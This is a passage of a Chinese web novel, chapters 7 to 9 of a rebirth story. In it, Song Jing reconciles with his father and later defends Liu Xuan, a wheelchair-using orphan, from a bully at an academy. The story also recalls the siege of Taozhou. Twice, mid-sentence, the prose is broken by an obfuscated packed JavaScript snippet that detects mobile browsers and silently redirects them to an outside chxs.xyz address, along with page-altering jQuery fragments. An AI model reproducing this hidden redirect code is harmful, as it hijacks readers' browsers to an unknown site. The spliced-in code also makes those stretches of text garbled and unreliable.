宋旌站起身,愤恨地将书册拍在身旁的石桌上,石桌的表面在巨大的掌力下生出一条极细的裂缝,而藤椅也被宋旌震得老远。 见此异状,管家浑身一斗,吓出一身冷汗,差点就双腿一软,跪拜下去。 此前,管家还从未见过宋旌怨恨、恼怒一人至此,哪怕外界皆传宋旌厌憎柳悬至极,他也不曾见宋旌因柳悬而引发这般凶猛的火气。 领了指令,管家不敢多问,就在他准备退回外院去谢客时,他又听平静下来的宋旌向他继续补充道:“你替我先谢过孙大公子的美意,告诉他,我还病着,现下不便见客,有机会,我自当亲自登门拜访” 这一次,宋旌几乎是在一瞬间内就消化了快要喷涌而出的情绪,并很快适应了现在的身份。 待宋旌听见管家的脚步已经逐渐消失以后,他才转动右手手腕,心想:或许他确实该跟孙禹好好见上一面......只是在那儿之前,他还需要好好准备准备。 “少将军” 这边宋旌才前脚迈进屋,那院门外又传来一道不熟悉的声音。 “说了不见就不见” 宋旌以为还是外院的孙禹在寻他的不痛快,回这句话时,早已没了耐心。 那刚到侍郎没想到宋旌的心情居然这么差,连自己的传话都不听完就果断地拒绝了他。 侍郎迟疑了一下,哪怕宋旌已经下了逐客令,他也还是坚持说道:“将军有请” 7.守城 原本,宋旌瞧那侍郎不上道,怒火攻心之下,张嘴要骂。 不过在那侍郎抢先传完讯后,宋旌又紧急将到嘴的话给咽了回去。 宋言章要找他,是宋旌意料之中的事。 他依稀想起,当年他跟柳悬双双坠湖醒来时,他爹将他叫去了宋家祠堂。 要他当着宋家列祖列宗与柳悬父母牌位的面儿,给柳悬与柳氏夫妻认错,然而宋旌当年本就记恨柳悬设计陷害他一事,他自是不可能轻易低头。 为此,他跟他爹还吵了一架,两人差点就在宋家祠堂里打起来。 最后,他爹还是以他不敬祖先、不睦兄长为由,将他打了五十军棍,打得他再也跳不起来后,才草草结束。 这一次,宋旌在院里,本也是在等他爹的传唤,谁知道半路杀出个程咬金,坏了他一整天的好心情。 宋旌快步进屋,从屋里拿出早就已经准备好的食盒,走到方才唤他的侍郎跟前。 “钱叔,走吧。” 宋言章所在的祠堂在将军府内正后方的山上,离宋旌所在的东院有很长一段距离。 宋旌随钱景往外走,走出东院,他才发现钱景带他去的地方不是祠堂。 “钱叔,我爹现下在何处?”宋旌这几日费了不少精力,才想起一点往事,就发现自己正在经历的事与记忆中已经发生过的事有诸多不同之处,此时更是如此。 “回少将军”钱景一边替宋旌带路,一边恭敬道:“老爷刚散朝,现下在院中休息” 宋言章在自己院里? 这个答案出乎宋旌的意料......不过在院里也就在院里吧。 宋旌瞧了眼自己还提在手里的食盒,食盒里的东西本是他让水芸替他提前备好的供品。 里面的每一样吃食,皆是照柳悬以前年年祭奠父母的习惯,特意准备的。 如今,似乎用不上了...... “爹!” 宋旌刚抬脚迈进宋言章的书房,就一脸欣喜若狂,像个孩子一样,熊仆上去,一把将宋言章那句气势十足的“跪下!”给硬生生抱成了一个“跪......”字。 “爹......”宋旌路上想了很多话,他想解释自己不是有意害柳悬落水,他想让宋言章明白自己今后不会再为难柳悬,他还想要告诉宋言章,他......很想他...... 但在窗外见到宋言章的背影时,宋旌却只觉得心口很堵,现下竟连一个多余的字也说不出口。 这个久违的拥抱令宋旌浑身轻颤,情不能已。 那年,宋旌没能见到宋言章是如何惨死在宦官的乱箭之下,不过他能想到自己的父亲是何等刚烈之人,这样的他曾在边境屠百万匈奴而不惧,他又怎会让赵伺那种缺阴少阳的阉人肆无忌惮地爬到他的头上? 宋旌记得,父亲死后,京中无一人敢为之申不平,朝中无一人敢为之鸣不公,盛京央央数万人,竟无一人愿为一生戎马、赤胆忠心、安邦护国的老将,尽一尽身后事。 宋言章的尸体在城门下,被烈日足足曝晒数日,腐烂的肉身上爬满了蝇虫鼠蚁。 最后,还是一个无人的夜晚,有一名城外的乞儿,用一张满是破洞的草席,将宋言章的尸身草草一裹,就这样,埋葬于城外的乱葬岗。 ——爷爷,这是谁呀? ——他是旗国的将军,是我们的英雄。 ——他死了,皇上不管他吗? ——皇上......皇上管不了他...... ——那他没有家人吗? 那天的月色下,小乞儿的心里萌生出很多疑问,但爷爷也没有办法替他解答,爷爷只是喃喃自语道:将军死了,我们的日子以后要更苦了...... 宋言章被忽然变得深情的宋旌整得丈二和尚摸不着头脑。 “你别跟我整这一套。”宋言章轻推开扑在他身上的宋旌,板着一张脸,端坐在书桌后的太师椅上,显得严肃又不解风情。 “我可不是你娘。”宋言章用厚实的手心虚地盖住发酸的鼻头,又特意补充道。 “行行行。”宋旌将方才顺手搁在书桌上的食盒拿到宋言章的面前,将盒里已经做好的糕点、小食与饮品一一摆在面上,“爹说什么就是什么。” 宋旌觉着,这么好的东西也不能那样白白浪费了,虽然他没能去祠堂祭奠柳悬的父母亲,但是除了他自己,也没有谁知道这些吃食是给谁准备的,那他只要不说,就全当是给他爹准备的茶点、茶果,似乎也没什么不妥。 “爹,快尝尝,这些是我早晨去给母亲请安前,让水芸给你做的。”宋旌主动将筷子与碟子摆放在宋言章手边,笑得一脸殷勤。 宋言章瞧了瞧满桌的吃食,神色迟疑。 “真的?”宋言章不敢相信他那混球一样又犟又横又冲的儿子居然忽然转了性? 认真打量了宋旌几眼,在宋言章确定儿子没有被掉包后,他才拿起筷子,很给宋旌面子,挨个尝了一遍。 “爹,水芸的手艺可让你满意?”宋旌像个献宝的小狗腿子,在一旁热情介绍起每一道菜的菜名与做法。 宋言章放下筷子,用傍身的一块粗布擦干净嘴,轻“哼”一声,虽然面上仍维持着一贯的不苟言笑,仿佛宋旌为他做这一切都是理所应当,但心中却早已乐不可支:“你少跟我耍嘴皮子,知道我为何特地让钱叔把你请过来吗?” “爹,你等等。” 宋旌未答宋言章的话,这让宋言章的心里略过一丝疑虑,宋言章还以为宋旌又要装疯卖傻,说他听不懂宋言章在说什么,打死不肯认错。 可宋言章没想,宋旌打断他后,身体微微向后撤开一步,左手一撩袍子,双膝向前一曲,“扑通”一声跪倒在地,跪得他爹一时间没回过神,把他爹狠狠吓了一跳。 “好了,爹,你说吧。”宋旌神色庄重,跪姿笔直,目光炯炯,直直望向那被他吓得怔愣的父亲,眼神中满是坚定。 宋言章看了看儿子,又看了看一旁同样愕然到眼观鼻鼻观心的钱景,撇过头,压低声音问道:“鹑儿这是怎的了?” 钱景闻言,亦是摇头不已,一脸茫然。 “咳。”宋言章莫名有些心慌,他清了清发干的嗓子,瞥了宋旌两眼,犹豫着,本想让宋旌站起来回话,可又不晓得该怎么开口,只能强行端着,用十分不自然的语气说,“既然......你已经主动跪下了,那你就自己说说看,究竟是何缘故?” “孩子以为......” 宋旌顿了顿,微低下头,确实在努力回忆他少年时期与柳悬相处的点点滴滴: “定是我前几日没保护好柳哥哥,害哥哥掉下湖,惹了爹娘不开心......” 宋旌语气诚恳,神色凝重。 “还有孩儿以前少不更事,总在柳哥哥背后说一些不敬之话......” 宋旌一字一句说着,眉头渐蹙起来。 “旁人欺负柳哥哥时,孩子作为哥哥的兄弟,好像也从来没有帮过他......” 宋旌细数起自己曾经的恶行,脸上似乎浮现出一丝愧疚与自责。 “最过分的是,孩子还经常带人戏弄、欺负腿脚不便的柳哥哥,任由旁人将他编排为一个只想攀附权贵的无耻小人......” “停停停停停!”宋言章紧急制止了还要继续说下去的宋旌。 他简直不敢相信宋旌这小子在背地里跟柳悬的关系居然如此恶劣? 虽然府上两个小孩的关系不睦,他也曾有所耳闻,不过宋言章想着,男孩子之间打打闹闹是再正常不过的事情,所以只要不闹出什么大问题,他一般不会过多干预。 更何况,就宋旌的性子与身手,他一般在同龄人中也吃不了什么亏。 “你说得老子头发昏!”宋言章双手撑住额头,倍感无力,脸上的皱纹仿佛突然加深了许多,犹如苦瓜的表皮般,沟壑纵横,一双浓眉更是拧在一起,好似两条纠缠不清的藤蔓,紧紧缠绕,彰显出他内心的烦躁与无奈。 愧对故友啊! 教子不善啊! 一想起宋旌方才那番认真、详尽地自我检讨,随后又一脸严肃、一本正经地供述自己曾犯下的罪行。 用最真诚的脸说最混账的事! 宋言章就狠不得揍宋旌一顿,以解手痒之症。 “说吧,老子该如何处置你?”话既然已经被宋旌这小子说到这个份上了,宋言章也别无他法,只能让宋旌好好想想自己到底有多不是个东西。 “爹。”宋旌唤了宋言章一声,抬头,自下而上,用从未有过的认真,仰望着他,“你打我五十军仗吧。” 宋旌一语,犹如晴天惊雷,将猝不及防的宋言章给劈了个外焦里嫩。 “你打了我,柳哥哥就不会生气了。”宋旌的目光至诚至真,干净得像是一汪清泉,半点不像作假,说话时也流露出破釜沉舟般的坚决。 “哈?”几日不见,宋言章有些看不懂他这个儿子了,要宋旌为了消柳悬的气而被打五十军仗这件事,要搁以前,简直比公鸡下蛋还要不可思议,宋言章更是从未想过宋旌有一天会自己提出来,“你当真?” “当真!”宋旌回答得斩钉截铁。 现在,让经历过后来那些事的宋旌再努力反思过往的所言所行、所作所为,这简直比杀了他还难受。 在柳悬面前,宋旌有时候也会觉得自己以前挺不是个男人。 宋旌这一生真正敬仰之人寥寥无几。 除了父亲宋言章以外,就只有曾经的桃州刺史——柳行舟。 德盛二十八年,西北大宛一族在旗国边界蠢蠢欲动,屡此进犯岭、凉二地。 桃州,恰好坐落于岭、凉之间,乃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14006990|148359||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是西北防线的门户,亦是大宛一族向东发兵的咽喉要塞。 然而,当时旗国正陷入内战,三皇子顾锦城与六皇子、十皇子之间的斗争将整个东部卷入漩涡,各地域使或自顾不暇、或各怀鬼胎。 那段时期,朝廷瘫痪,帝不视朝,官不谋政,吏不理事。 巨大的帝国像是一部不会再继续运作下去的老旧机器,在这个机器里,柳行舟上报到兵部的行军调令,竟然足足过了三个月都未能批下来。 彼时,桃州已经战无可战,孤立无援。 那年,柳行舟不是没有遣人向岭地、凉地的域使递交呈情书!只是......他苦苦哀求两地域使,请他们出兵援助,但他们都以未见君令为由,相互推诿,不肯相救。 偌大旗国,幅员辽阔,却只有秾地一方域使在听闻柳行舟孤城无援,大宛敌军数千压境后,紧急征召了两百名自愿赴桃的忠义勇士,昼夜兼程,奔往桃州。 平元696年,芙蓉镇的百姓,犹如砧板上的鱼肉,任人宰割。 是夜,孤军奋战的柳行舟,率领不足五十人的小队,从敌人的眼皮子底下,将镇上百姓悉数撤离至桃州城中。 大宛军至,风雨飘摇的桃州已凑不齐四百勇士以御外敌。 生与死、逃与战......似乎就在柳行舟的一念之间。 “各位父老乡亲,听吾一言!” “贼寇之兵,已至城门之下,城外狼烟滚滚、战鼓擂动。若吾等弃城而逃,则城中百姓无一人能逃过大宛铁骑的践踏与蹂躏!” “城乃吾辈之骨,城若破?骨将碎!民何以安身?!吾辈守土有责,护民有义,岂能坐视家国沦丧!百姓遭殃?!” “为家!” “为国!” “为吾辈之尊严!” “为城中妇孺尚有一线生机!!!” “吾恳请家中有兄弟且年四十以上者,挺身而出!以护民为任!与吾并肩作战!誓与城池共存亡!!!” “城在!” “人在!” “城亡!” “人亡!” 那一日,柳行舟站在黑烟滚滚、烈火炎炎的高台之上,像一座高山,矗立在满是渴望活下去的百姓中央。 柳行舟......已别无他法,他......用自己的命,做出了最后一次决定。 全城不足四百人,柳行舟只余下不足百人之军以御敌,另有二百人分做三队,分别护送城中妇孺从三个方向,向秾地南迁。 余下之人皆是死士,其中还有柳行舟的结发妻子——夏沐雪。 那一战,悲壮至极,守城之人皆是年过半百的临阵兵,其中有伙夫、有铁匠、有略通拳脚的江湖儿女,他们......本不该是最先冲锋陷阵的士兵!!! 但他们皆捐躯于斯...... 平元696年,柳行舟、夏沐雪,同守城的忠义之士,坚守至最后一刻,与大宛数千名铁骑共同葬身于城中的熊熊烈焰之中。 最终,他们胜了...... 他们以血肉之躯创造了千古奇迹,守住了岌岌可危的桃州。 当宋言章率领迟来的援军,在一片焦黑废土之上寻觅柳行舟的遗物时,他只在一处农户地窖中,寻得柳行舟的独子——柳悬。 在旗国史上,柳行舟这一战无疑是最为壮烈的一战,他做到了所有人都以为他做不到的事,他也做到了这个世界上只有他一人能做到的事。 以百人之力,抗千人之军,且那百人非精兵,非良将,皆不过是普普通通的百姓! 然而,那东拼西凑的队伍,在柳行舟这个寂寂无名的文臣指挥下,却宛若千军万马的神兵天降,将踏入故土的外敌,杀得片甲不留。 柳行舟,是桃州当之无愧的父母官。 他至死未放弃脚下这片土地,未抛弃这片土地上的每一个人。 宋旌想起自己在桃州的那十年,他其实比旁人要更清楚柳行舟当年面临的是怎样的绝境,也更心疼柳悬幼年的遭遇...... “罢了......”宋言章摆了摆手。 若是以往为柳悬的事,被宋言章特意传唤过来,那肯定是不用宋旌自己提,他爹也少不了用军棍对他一顿暴揍,可是宋旌这一次主动提了,还供认了很多宋言章以前不晓得的事,宋言章却没有揍他? “祸既然是你小子闯的,那你便自己想法子让子夏消气,再请他回来住吧。”宋言章翻开面前的一沓文书,大有不想再理宋旌的架势。 “谢谢爹!”一直跪在地上的宋旌甚是喜出望外,在听见他爹不仅不打他,还帮他去见柳悬找了个顶好的理由后,宋旌又猛扑在他爹身上,给他爹整了个虎头虎脑的拥抱。 宋言章看似不满,笑骂了宋旌一句“不知礼数、没大没小”,可他的眼底却是溢满了藏不住的笑意。 8.怀疑 英才院的门生大约有六七百人,从官家子弟到皇室宗亲,分为三个不同的时间段进行授课。 其中,巳时到未时,为从二品以上的官家子弟与圣上膝下未及冠的皇子,而申时到酉时,为从四品到正三品的官家子弟、皇亲国戚与王公贵族,最后是卯时到辰时,为从六品到正五品的官家子弟。 是日,将宋夫人送走后,六一盘腿坐在柳悬身旁的棋桌上,总是一阵唉声叹气,又自顾自地发呆。 柳悬正坐在庭院里晒天阳,手里拿了一本《太白阴经》,偶尔翻上一页。 “府中可有何消息?” 在六一又一次捧住脑袋,直直望向他家公子,露出一脸惆怅的表情后,柳悬还是没忍住,向他发问了。 “夫人来瞧公子时,我偷偷向绵儿姐姐打听了,公子你猜怎么着?”六一突然扒拉住柳悬的轮椅,凑到柳悬跟前,神秘兮兮,用一种惊恐中带有几分震撼的眼神直逼柳悬。 柳悬的食指轻点六一的额头上,将六一推坐回去,半点没有被他恐吓到的样子:“有话好好说。” 六一见他家公子不太搭理他,兴致缺缺,果真就乖乖坐了回去,索然无味道:“说是,前几日将军将少将军传至书房,少将军与将军相谈甚欢,将军不止没罚少将军,还......” 说着,六一故意停顿了一下,余光若有似无地瞟过柳悬。 柳悬有些无奈,他也不记得六一这个小家伙,是从哪里学来的说话风格,总是一惊一乍,还老喜欢吊旁人的胃口。 “说话这般磕磕巴巴,往后定不能再让你去听书了。”柳悬向来不会迎合他的小把戏,合上书卷,在六一的脑门上轻敲了一下。 六一假装“哎哟”一声,捂住脑门,紧接着说:“宋将军让少将军自己想法子讨你开心后,再亲自将你接回去。” 在柳悬又要敲他脑门前,六一向后缩了一大截,朝柳悬吐了吐舌头,满脸写着“我不服气”四个大字,一说完,就转头跑远了。 “公子,少将军没被罚,你怎么瞧上去一点也不急呀?!”在旁捣药的轻红也听明白了六一刚说的话。 轻红想到她家公子那日为了让宋旌落入圈套,也尝尝苦头,冒着险,费了那么大的力气,甚至自己还跟着宋旌一起落了水、遭了罪,结果宋言章跟宋旌不仅相处融洽,关系居然还有所缓和,她就显得比柳悬还要发愁。 柳悬将书放进椅背上的书兜里,又捋平衣服上的每一块褶皱,正了正衣冠,老神在在道:“我为何要急?” “少将军呀!”轻红的情绪激昂,连带着说话时的声调都上扬了几分,“少将军以前明明是那样一个藏不住自己心思与喜恶的人,如今却能见人说人话,见鬼说鬼话。” 轻红手里“哒哒哒”,急促地敲打起罐里的药材,一颗小小的脑子也跟着一块儿,快速地运转起来,“公子,你不觉得少将军近来很是奇怪吗?” “少将军以前最是不服将军”轻红一边回忆过去,一边仔细分析:“当初刚进府那段时间,两人见面不是吵,就是打,现在居然也能坐在一块儿好好说话?那要照这个趋势发展下去......我们不就......公子真的就一点不担心吗?” 轻红想起他们与柳悬从进将军府以来做过的那些坑害宋旌的事,再想到宋旌与宋言章如果父慈子孝后,万一宋旌哪天脑子一抽抽,就跑去找宋言章控诉他这些年从柳悬这儿遭受的委屈,那...... “担心又有何用?”柳悬当然能明白轻红未明说的话。 他其实不在意宋旌会不会把他的本来面目告诉给任何人,因为他有能力让宋旌的话得不到任何人的信任,他也相信不论他是怎样的人,只要他是柳行舟唯一的儿子,宋言章就不可能让他离开将军府。 末了,柳悬勾起唇角,品尝了一口棋桌上的红茶,双肘轻置在两侧的把手上,笑容和煦,淡然道:“再者,那将军府到底是宋旌的将军府,而我姓柳,不姓宋。” “公子。” 柳悬刚一放下茶杯,飞雪就闪身至他的身后,按常例,唤了他一声。 “好啦,我该走了。”柳悬揉了揉轻红的发顶,以示安慰,在她欲言又止的表情中轻声提醒道,“待会学博该讲学了。” 轻红面上虽然仍有些不情愿,但她还是替柳悬收拾好一会儿要用的书册,并一并交给要护送柳悬去兰馨殿的飞雪。 一路上,青石小径,没什么人打扰。 柳悬安坐在轮椅上,一边由飞雪推着他慢慢向前走,一边思索起最近的事。 还记得那日掉进湖里前,宋旌明明是来找柳悬清算恩怨的,就宋旌当时那副要生吞活剥了他、与他不死不休的样子,为什么仅仅只是落了个水,等两人再上岸时,宋旌就完全像是变了个人? 同一个人,前后不到半个时辰,却像是彻底改头换面了一般,判若两人......这其中到底发生了什么?柳悬想不明白。 那时,突然的变故与本能的恐惧,让柳悬没有多余的思考时间,更分不出心思去在意、观察宋旌那小子的处境。 也正是因为柳悬少了那段有关宋旌入水后的关键性记忆,所以他现在才会百思不得其解,甚至会日日因为宋旌差连松送来的那些奇珍异宝或市井小物而烦心。 “飞雪,你还记得那日宋旌在掉入湖水后,可有何不同寻常之处?”比起苦思冥想,柳悬更倾向于寻找有用的线索,以此来解开心中的疑惑或验证自己的猜想。 飞雪见柳悬一直在沉思,还以为柳悬在思虑轻红方才说的话,却没想到柳悬会突然提起几日前的事。 一时没跟上柳悬的思路,缓了会儿,轻红才郑重道:“之前没仔细想过,公子若要问少将军那日有何不同之处,倒还真有一点” 经柳悬提醒,飞雪还真就想起来了。 “按常理来说,少将军的水性应当是极好的,公子还记得两年前,少将军与何三公子被迫带你一起去郊外的野湖上游船,你看不惯少将军,故意纵着轮椅向前,将那时正悬在沿上帮何家表妹摘莲蓬的少将军给挤下船去,而少将军几乎是一眨眼的功夫,一个猛子就翻出水面,一跃上船。” 飞雪一本正经地描述起柳悬当年做过的坏事,将她当年所见的细节毫无掩饰地还原出来,听得柳悬面色一红。 “我记得那日落水后,少将军本该有所反应,可他就像是失了魂一样,约莫有小一柱香的时辰,一动不动,直直向湖底落去,直到他快要触及湖底的淤泥时,他才忽然挥起双臂” 待飞雪说完,柳悬的神色也从最初的镇静变得凝重。 一动不动,失了魂吗? 柳悬更迷惑了,他想不出有什么法子能当着数人的面,在短时间内,将一个人偷换成另一个人...... 可是......这样离奇的怪事在这个世界上又真是绝无可能的吗? 柳悬也不敢下定论,只是他觉得那样的念头实在太过于荒唐、可笑,以至于他都忍不住腹诽自己“异想天开”。 “公子,轻红还是小女孩心性,公子不必将她的话放在心上。” 方才,飞雪也听出了轻红的话外音,她见柳悬从风斋出来这一路,都在凝眉深思,知道柳悬定是因轻红那句“少将军近来很是奇怪”而烦扰,便破天荒,主动替轻红说了一句私话。 然而,飞雪这句话虽然猜中了重点,但是猜的又不完全正确。 要说柳悬仅仅是困扰于轻红说出那句话之后,之前却没有察觉到宋旌的异常?那也是无稽之谈。 “到此为止,快回去吧。”柳悬没有回应飞雪,他现 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14024182|148359||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在的思绪也杂乱得很,宋旌的变化已经困扰他许久了,他不需要毫无意义的安慰,他只想再梳理一下眼前的信息。 飞雪一直很会拿捏分寸,她见柳悬无心交谈,瞬间就明白她家公子现下不想被人打扰。 再看前方,花团锦簇间,越来越多的人已经慢慢进入视线。 辽阔的土地上,一座巍峨的宫殿,拔地而起、高耸入云。 那是英才院内,众位门生每日必去的地方——兰馨殿。 在英才院内,有几个不成文的规定: 每日辰时到午时内,除前往兰馨殿听学的王公贵族与重臣子女,任何人不得随意在院内走动。 除此以外,其他时辰虽不限制院内众人的活动,但也不得带任何侍女、仆人靠近兰馨殿方圆十里之内,违者,当以大不敬之罪论处。 飞雪是柳悬的武侍,更是不能靠近兰馨殿的头号人物,在确定柳悬已经进入主殿区后,飞雪也回了风斋。 “欸,前几日梁学博讲的三世说,你们听懂了没?” 熙熙攘攘的人群中,总有三两个人会成群结队,一起边走边高谈阔论。 “聊这真没意思~要我说,你可是礼部尚书的嫡子,就算学不懂,也影响不了你以后平步青云、节节高升。”方才问话的男子身边,一个身着华服锦缎、举止轻佻的纨绔正在嘲笑一个文质彬彬的男生。 那男生被纨绔一骚,面色微红,竟是低下头,跟着众人一起讪笑起来。 “要说有意思的事,我这儿倒是听说了一件”在一片嬉笑打闹声中,一个猴精般机灵的小个子,仅仅起了个话头,便如同一块磁石,牢牢吸附住了众人的目光。 “快!快说来听听,如何有趣?”人群中,有人按捺不住内心的好奇,急切地催促着。 在那一群人围成的小圈子里,小个子故意卖了个关子,身子往前一探,脸上浮现出一抹神秘莫测的笑意,仿佛要将众人一同拽入那未知的恐惧深渊。 他刻意压低嗓音,声音中带有一丝不易察觉的颤抖,仿佛自己也被那恐怖的故事所裹挟:“你们没听说吗?英才院的西南角,就那伙客子们所居的栖霞院,近几日夜夜闹鬼,说是,每到夜深人静、月黑风高的三更时分,院内便会浮现出一道诡异的身影……” “那身影身高九尺,腹中鼓鼓,脑袋向左侧倾斜,身上穿了一件染满血迹的暗红色长袍,像是来着九幽的亡灵般,脚后跟高高悬离地面,纤细的脖子仿佛被一条无形的锁链给吊住了,挂在双肩上,摇摇欲坠,而且!她在院里飘荡的时候,还会寻人就问......” “问什么?”众人几乎异口同声,屏息凝神,生怕错过任何一个字。 那小个子咽了口唾沫,从细长的喉咙里发出“咕噜”一声,随即,他的声音竟诡异地尖锐起来,仿佛被一股无形的力量所操控,开始模仿起那女鬼阴森凄厉的刺耳语调,悠悠说道:“你见过……我的郎君吗?” “啊——” 一声尖叫划破长空,一个容貌娇气的贵公子脸色苍白如纸,紧捂住打颤的嘴,满眼皆是惊恐与绝望,如同身临其境一般。 贵公子的表情令小个子很满意,他环视了众人一圈,扬起一抹得意的笑,仿佛刚完成一场惊心动魄的表演。 “哟~” 那边,讲故事的小个子才刚收了尾,不知从何处又响起一道声音,言语间带有几分轻蔑与玩味。 “这不是柳挛躄吗?” 那个尖酸刻薄的声音在人潮涌动的主殿前,突兀地响起,宛如一把锋利的匕首,划破了片刻的宁静。 柳悬行至主殿下的石阶时,那贵公子的惊叫声正好将他从烦乱的线头中抽离出来,他一个不留神,轮椅竟失控地向前一冲,不慎撞在前方的台阶上,发出一声沉闷的声响。 9.包子 “入殿的长坡这么陡,光靠手摇你那把破椅子,还能上的去吗?” 那声音里满是戏谑,一个从人群中挤出来的小瘪三,像一只见了肉的苍蝇,死皮赖脸地追上来,而他那张猥琐的脸上也写满了得意与嘲讽。 柳悬近来,心情不佳,脸色也像是漫天乌云沉沉压境一般,阴冷至极。 此时,柳悬实在懒得搭理身后那只令人作呕的臭虫,他只是微微摇动木轮,径直向右侧的坡道驶去,想要尽快摆脱这令人不悦的纠缠。 “柳悬,” “你若肯求求哥几个,” “哥哥我还能勉为其难,推你一把。” “你说,这是不是你的荣幸?” 那锲而不舍的小瘪三像最经典又是最愚蠢的反派,在众目睽睽之下,当着大伙儿的面儿,在殿前肆意大笑起来。 他的身后,同样跟着一群不怀好意,只知道看好戏的公子哥,正拭目以待。 小瘪三喋喋不休、唠唠叨叨,一路尾随柳悬上坡。 结果,柳悬非但没有搭理他,没有配合他演一出恶霸欺良的戏码,还让他眼睁睁地瞅着自己马上就要登上大殿。 被身后众人瞧了笑话,小瘪三是越说越气急败坏。 在柳悬下一步就要驶上坡时,小瘪三突然大喝一声“站住!”。 那急促的语气里充满了被无视的愤怒与被羞辱的挑衅。 柳悬悬停在坡道尽头,被突然冲上前的小瘪三给蛮横地挡了去路。 在众人悉悉索索的议论声里,柳悬只是浅浅地撇了那人一眼,他那幽深的目光如同深秋的寒霜,不带有一丝温度,只是冷冷地扫过一眼时,眼神中的疏离与冷漠就让人不寒而栗,仿佛柳悬当下在看的东西是一件毫无生气的死物。 柳悬这漠然至极的一眼,犹如压死骆驼的最后一根稻草,彻底点燃了小瘪三心中的怒火。 小瘪三恶狠狠地瞪向柳悬,咬碎了一口后槽牙,忿忿不平地说:“哼,不过是个无权无势,连宋爷与将军府都厌弃,空有个小小伯爵虚名的孤子,也敢在老子面前放肆!今日若不给你点颜色瞧瞧,你还真当自己是个多了不起的大人物!” 话音未落,那小瘪三便高高抬起一条满是横肉的腿。 粗壮如柱的腿,如同一根蓄势待发的攻城槌,正要狠狠蹬在柳悬那把摇摇欲坠的轮椅上,仿佛要将那小瘪三心里所有的屈辱与愤怒都倾泻而出。 然而,就在千钧一发之际,一道白色的虚影突然在人群中一闪而过,快得如同夜空中划过的一道闪电,又似一支满弓上的离弦之箭,以迅雷不及掩耳之势,精准无比地打在那小瘪三的膝窝处。 只见那小瘪三的脚还没有沾到柳悬的轮椅边,就“扑通”一声,单膝跪地,整个人如同秋风中的落叶,狼狈不堪地摔倒在地上。 “嘶——”周围的人见此情形,皆不由自主地倒吸了一口凉气,见柳悬面色自若,一点也不惊奇,众人纷纷向柳悬投去惊讶与惋惜的目光,皆以为柳悬是私带了武侍入殿。 小瘪三横了柳悬一眼,脸上写满了惊愕与不甘的同时,他仿佛也不敢相信眼前所发生的一切。 “谁呀!?” “竟敢暗算老子!” “你可知我爹是谁?!” “私闯兰馨殿,你信不信!我即刻就能要了你的项上人头!?” 那小瘪三像一条大型的蛆虫,在地上蜷缩成一团,疼得龇牙咧嘴,双手紧捂住其中一条剧痛无比的腿,毫无顾忌,凶恶地大吼大叫着,期间,还试图抬头,去寻那暗器的主人,抓住那罪魁祸首。 然而,周围的人或抱着凑热闹、或怀着不想招惹麻烦的心态,皆默契十足,如潮水般陆续退去,为躺在地上的他让出一条宽阔的路来,仿佛都是局外人,都没有沾染上其中的是非。 人群外,劲风吹过,在簌簌风声与沙沙叶声中,一袭淡黄色圆袍的少年郎正翘起一条长腿,脚尖一摇一晃,哼着小曲,斜躺在一颗巨大的古树上。 阳光斜下,透过树叶间的缝隙,斑斑点点地落在他的身上,像是一颗颗五彩斑斓的霓虹灯,如点缀的宝石般,绚丽夺目。 少年抻长胳膊,在空中舒展地伸了一个懒腰,像一只刚睡醒的猫,在古树的枝干上灵巧地翻了一个身,以卧佛的姿态,单手撑起发冠松散的脑袋,望向柳悬,笑声爽朗又灵动,自顾自地,满意道:“肉包子打狗,正正好” 宋旌?! 他为何在这儿!? 他莫不是又来寻自己的麻烦? 瞧见树上那冠上簪花、英姿飒爽的黄衫少年郎又换了姿势,坐起来,放荡不羁地翘起二郎腿,朝他扬起桀骜一笑,柳悬的瞳仁一缩,也跟着愣了一下,随即蹙紧眉头,心有不安。 从十三岁入京以来,柳悬与宋旌在英才院碰上的机会不太多。 这一来,是因为他俩品阶不同,宋旌是根据宋言章的品阶来定,位列一等,一般是巳时到未时听学,而柳悬是依照圣上封他的爵位来定,位列二等,一般是申时到酉时来殿内听学。 这二来,是因为宋旌早已被圣上亲封为白虎将军,有操兵之责,虽被特需暂不用日日上朝面圣,但每隔几日,便要回军内处理一些需要他过目的军务。 这一来二去,他俩最容易见面,也是最常碰上的地方,便只能是宋府,亦或是柳悬害宋旌在人前出了丑,宋旌又气不过,才特意找上门来。 “宋……宋爷”那趴在地上的小瘪三在瞧清楚了幕后主使是宋旌后,吓得脸色煞白,像一杆没脾气的枪,瞬间哑了火,原本还十分嚣张的气焰被当头泼了一盆冷水,只敢唯唯诺诺地问:“您……您还在呢?” 此刻,哪里还能有刚才那位目中无人的矜贵公子哥?见到宋旌的小瘪三,像是见到了活阎王的小鬼,他说话的声音里,满满当当的,都是止不住的颤抖与恐惧。 此刻,那个叫嚣着,问对方知不知道他爹是谁、动不动就要取人项上人头的家伙宛如一只惊了弓的鹌鹑,紧缩成一团,生怕宋旌稍有不悦,便会拿他当个沙袋使,揍得他连他爹都不认识,再落得个半身不遂的凄惨下场。 透过众人,宋旌的目光只不偏不倚地落在柳悬一人身上,他好像丝毫不在意旁人的打量。 周围众人不敢作声,只静静瞧着宋旌就独独向人群中的柳悬嫣然一笑,又见他身形轻巧,如一只展翅的夜鹰,从巨大的古树上一跃而下,稳稳落在地上,轻盈得仿若一片随风飘落的羽毛。 